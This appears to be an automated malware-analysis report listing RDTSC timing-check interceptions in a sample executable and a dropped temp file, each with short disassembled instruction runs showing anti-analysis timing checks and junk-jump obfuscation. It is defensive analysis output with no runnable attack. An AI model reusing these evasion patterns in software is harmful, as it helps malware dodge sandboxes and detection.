Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C05CA second address: 54C0645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FA9388D7B86h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov bh, 88h 0x00000015 mov ah, BAh 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FA9388D7B7Bh 0x00000020 add ch, 0000000Eh 0x00000023 jmp 00007FA9388D7B89h 0x00000028 popfd 0x00000029 mov esi, 15BEE717h 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 jmp 00007FA9388D7B7Ah 0x00000036 xchg eax, ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0645 second address: 54C064B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C064B second address: 54C068B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 jmp 00007FA9388D7B87h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FA9388D7B89h 0x00000013 xchg eax, ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C068B second address: 54C0691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0691 second address: 54C06A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9388D7B81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C06A6 second address: 54C0707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FA938DCFC3Eh 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007FA938DCFC47h 0x0000001b adc si, 3E4Eh 0x00000020 jmp 00007FA938DCFC49h 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0707 second address: 54C0794 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, si 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b jmp 00007FA9388D7B86h 0x00000010 lea eax, dword ptr [ebp-04h] 0x00000013 jmp 00007FA9388D7B80h 0x00000018 nop 0x00000019 pushad 0x0000001a call 00007FA9388D7B7Eh 0x0000001f movzx esi, bx 0x00000022 pop edi 0x00000023 mov di, cx 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 call 00007FA9388D7B7Fh 0x0000002e pushfd 0x0000002f jmp 00007FA9388D7B88h 0x00000034 and esi, 2B19A1E8h 0x0000003a jmp 00007FA9388D7B7Bh 0x0000003f popfd 0x00000040 pop ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C083E second address: 54C086D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA938DCFC42h 0x00000008 or eax, 3307C8F8h 0x0000000e jmp 00007FA938DCFC3Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 mov si, 9DC5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C08BD second address: 54B003A instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov eax, esi 0x0000000a jmp 00007FA9388D7B7Ch 0x0000000f pop esi 0x00000010 jmp 00007FA9388D7B80h 0x00000015 leave 0x00000016 pushad 0x00000017 pushad 0x00000018 mov esi, 4CB15F63h 0x0000001d pushfd 0x0000001e jmp 00007FA9388D7B88h 0x00000023 or ax, 49A8h 0x00000028 jmp 00007FA9388D7B7Bh 0x0000002d popfd 0x0000002e popad 0x0000002f movzx ecx, bx 0x00000032 popad 0x00000033 retn 0004h 0x00000036 nop 0x00000037 sub esp, 04h 0x0000003a xor ebx, ebx 0x0000003c cmp eax, 00000000h 0x0000003f je 00007FA9388D7CDAh 0x00000045 mov dword ptr [esp], 0000000Dh 0x0000004c call 00007FA93DC43D11h 0x00000051 mov edi, edi 0x00000053 jmp 00007FA9388D7B86h 0x00000058 xchg eax, ebp 0x00000059 jmp 00007FA9388D7B80h 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FA9388D7B7Eh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B003A second address: 54B0040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0040 second address: 54B0044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0044 second address: 54B0048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0048 second address: 54B00D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FA9388D7B7Fh 0x00000010 sbb cx, 26FEh 0x00000015 jmp 00007FA9388D7B89h 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f mov ah, 48h 0x00000021 call 00007FA9388D7B85h 0x00000026 mov si, 6527h 0x0000002a pop ecx 0x0000002b popad 0x0000002c sub esp, 2Ch 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 pushfd 0x00000033 jmp 00007FA9388D7B7Fh 0x00000038 sub ax, 566Eh 0x0000003d jmp 00007FA9388D7B89h 0x00000042 popfd 0x00000043 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B01BC second address: 54B0239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b pushad 0x0000000c jmp 00007FA938DCFC45h 0x00000011 pushfd 0x00000012 jmp 00007FA938DCFC40h 0x00000017 add eax, 3879FDB8h 0x0000001d jmp 00007FA938DCFC3Bh 0x00000022 popfd 0x00000023 popad 0x00000024 inc ebx 0x00000025 jmp 00007FA938DCFC46h 0x0000002a test al, al 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FA938DCFC47h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0239 second address: 54B02A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FA9388D7D92h 0x0000000f pushad 0x00000010 mov cx, 5B43h 0x00000014 push ecx 0x00000015 pushfd 0x00000016 jmp 00007FA9388D7B7Fh 0x0000001b add eax, 0F2056EEh 0x00000021 jmp 00007FA9388D7B89h 0x00000026 popfd 0x00000027 pop eax 0x00000028 popad 0x00000029 lea ecx, dword ptr [ebp-14h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FA9388D7B7Ah 0x00000033 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B02A3 second address: 54B0306 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA938DCFC3Bh 0x00000015 adc ax, A1AEh 0x0000001a jmp 00007FA938DCFC49h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FA938DCFC40h 0x00000026 add ax, 0328h 0x0000002b jmp 00007FA938DCFC3Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B039D second address: 54B03B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9388D7B84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B03B5 second address: 54B03F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d pushad 0x0000000e mov dl, cl 0x00000010 jmp 00007FA938DCFC41h 0x00000015 popad 0x00000016 jg 00007FA9A99BDCE5h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FA938DCFC3Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B03F2 second address: 54B0402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9388D7B7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0402 second address: 54B0406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0406 second address: 54B0444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FA9388D7BDAh 0x0000000e pushad 0x0000000f jmp 00007FA9388D7B7Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007FA9388D7B7Eh 0x0000001c and ax, D628h 0x00000021 jmp 00007FA9388D7B7Bh 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0444 second address: 54B0448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0448 second address: 54B0467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 cmp dword ptr [ebp-14h], edi 0x0000000a pushad 0x0000000b mov al, 60h 0x0000000d popad 0x0000000e jne 00007FA9A94C5BBBh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov esi, 52CCC221h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0467 second address: 54B04E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 pushfd 0x00000011 jmp 00007FA938DCFC48h 0x00000016 adc ah, 00000018h 0x00000019 jmp 00007FA938DCFC3Bh 0x0000001e popfd 0x0000001f popad 0x00000020 lea eax, dword ptr [ebp-2Ch] 0x00000023 jmp 00007FA938DCFC46h 0x00000028 xchg eax, esi 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FA938DCFC3Eh 0x00000030 and ah, FFFFFFA8h 0x00000033 jmp 00007FA938DCFC3Bh 0x00000038 popfd 0x00000039 push eax 0x0000003a push edx 0x0000003b mov edx, esi 0x0000003d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0635 second address: 54B063B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B063B second address: 54B0641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0641 second address: 54B0645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B06EE second address: 54A067F instructions: 0x00000000 rdtsc 0x00000002 mov eax, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, dx 0x00000009 popad 0x0000000a test esi, esi 0x0000000c pushad 0x0000000d mov ch, dl 0x0000000f push eax 0x00000010 jmp 00007FA938DCFC45h 0x00000015 pop eax 0x00000016 popad 0x00000017 je 00007FA9A99BDB76h 0x0000001d xor eax, eax 0x0000001f jmp 00007FA938DA936Ah 0x00000024 pop esi 0x00000025 pop edi 0x00000026 pop ebx 0x00000027 leave 0x00000028 retn 0004h 0x0000002b nop 0x0000002c sub esp, 04h 0x0000002f mov esi, eax 0x00000031 xor ebx, ebx 0x00000033 cmp esi, 00000000h 0x00000036 je 00007FA938DCFD75h 0x0000003c call 00007FA93E12C2B8h 0x00000041 mov edi, edi 0x00000043 jmp 00007FA938DCFC47h 0x00000048 xchg eax, ebp 0x00000049 jmp 00007FA938DCFC46h 0x0000004e push eax 0x0000004f jmp 00007FA938DCFC3Bh 0x00000054 xchg eax, ebp 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 movsx ebx, cx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54A067F second address: 54A068E instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov eax, ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54A068E second address: 54A06A9 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movzx ecx, dx 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA938DCFC3Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54A06A9 second address: 54A06F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e pushad 0x0000000f jmp 00007FA9388D7B85h 0x00000014 mov eax, 1E633627h 0x00000019 popad 0x0000001a mov dword ptr [ebp-04h], 55534552h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FA9388D7B84h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54A06F2 second address: 54A0701 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0A8A second address: 54B0AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA9388D7B7Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0AA0 second address: 54B0AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0AA6 second address: 54B0AD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA9388D7B88h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0AD6 second address: 54B0AE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0AE5 second address: 54B0B34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov si, AFB7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007FA9388D7B7Ah 0x00000014 cmp dword ptr [760F459Ch], 05h 0x0000001b jmp 00007FA9388D7B80h 0x00000020 je 00007FA9A94B5A60h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FA9388D7B87h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0BB5 second address: 54B0BED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b jmp 00007FA938DCFC47h 0x00000010 mov dword ptr [ebp-1Ch], esi 0x00000013 pushad 0x00000014 mov edx, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0C31 second address: 54B0C41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0C41 second address: 54B0CAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA938DCFC41h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FA938DCFC41h 0x0000000f sub cx, 1476h 0x00000014 jmp 00007FA938DCFC41h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d je 00007FA9A99A3939h 0x00000023 jmp 00007FA938DCFC3Eh 0x00000028 cmp dword ptr [ebp+08h], 00002000h 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FA938DCFC3Ah 0x00000038 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0CAB second address: 54B0CBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0CBA second address: 54B0CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0CC0 second address: 54B0CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54B0CC4 second address: 54B0CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0930 second address: 54C0935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0935 second address: 54C093D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C093D second address: 54C095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA9388D7B87h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C095E second address: 54C099A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA938DCFC3Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA938DCFC3Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C099A second address: 54C09A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C09A0 second address: 54C09C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA938DCFC3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movzx ecx, di 0x0000000e mov dh, 5Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C09C1 second address: 54C09CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C09CF second address: 54C0A05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, B064h 0x00000007 pushfd 0x00000008 jmp 00007FA938DCFC3Dh 0x0000000d sub si, 24A6h 0x00000012 jmp 00007FA938DCFC41h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0A05 second address: 54C0A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0A09 second address: 54C0A0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0A0F second address: 54C0AD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9388D7B82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d call 00007FA9388D7B7Eh 0x00000012 call 00007FA9388D7B82h 0x00000017 pop ecx 0x00000018 pop edi 0x00000019 mov ecx, 0063AB97h 0x0000001e popad 0x0000001f test esi, esi 0x00000021 jmp 00007FA9388D7B7Ah 0x00000026 je 00007FA9A94A54D0h 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FA9388D7B7Eh 0x00000033 adc si, 4A38h 0x00000038 jmp 00007FA9388D7B7Bh 0x0000003d popfd 0x0000003e push eax 0x0000003f call 00007FA9388D7B7Fh 0x00000044 pop esi 0x00000045 pop ebx 0x00000046 popad 0x00000047 cmp dword ptr [760F459Ch], 05h 0x0000004e jmp 00007FA9388D7B84h 0x00000053 je 00007FA9A94BD55Bh 0x00000059 jmp 00007FA9388D7B80h 0x0000005e xchg eax, esi 0x0000005f pushad 0x00000060 mov al, 48h 0x00000062 push eax 0x00000063 push edx 0x00000064 mov ah, dl 0x00000066 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0B04 second address: 54C0B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0B08 second address: 54C0B0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0B0E second address: 54C0B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0B14 second address: 54C0B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0B18 second address: 54C0B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a call 00007FA938DCFC48h 0x0000000f push eax 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 mov si, di 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jmp 00007FA938DCFC46h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007FA938DCFC40h 0x00000025 xor ecx, 01F3EFA8h 0x0000002b jmp 00007FA938DCFC3Bh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	RDTSC instruction interceptor: First address: 54C0C1F second address: 54C0C25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 655ED3 second address: 655EEA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FA938DCFC42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 654E61 second address: 654E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 654E65 second address: 654E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	RDTSC instruction interceptor: First address: 654E6B second address: 654E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
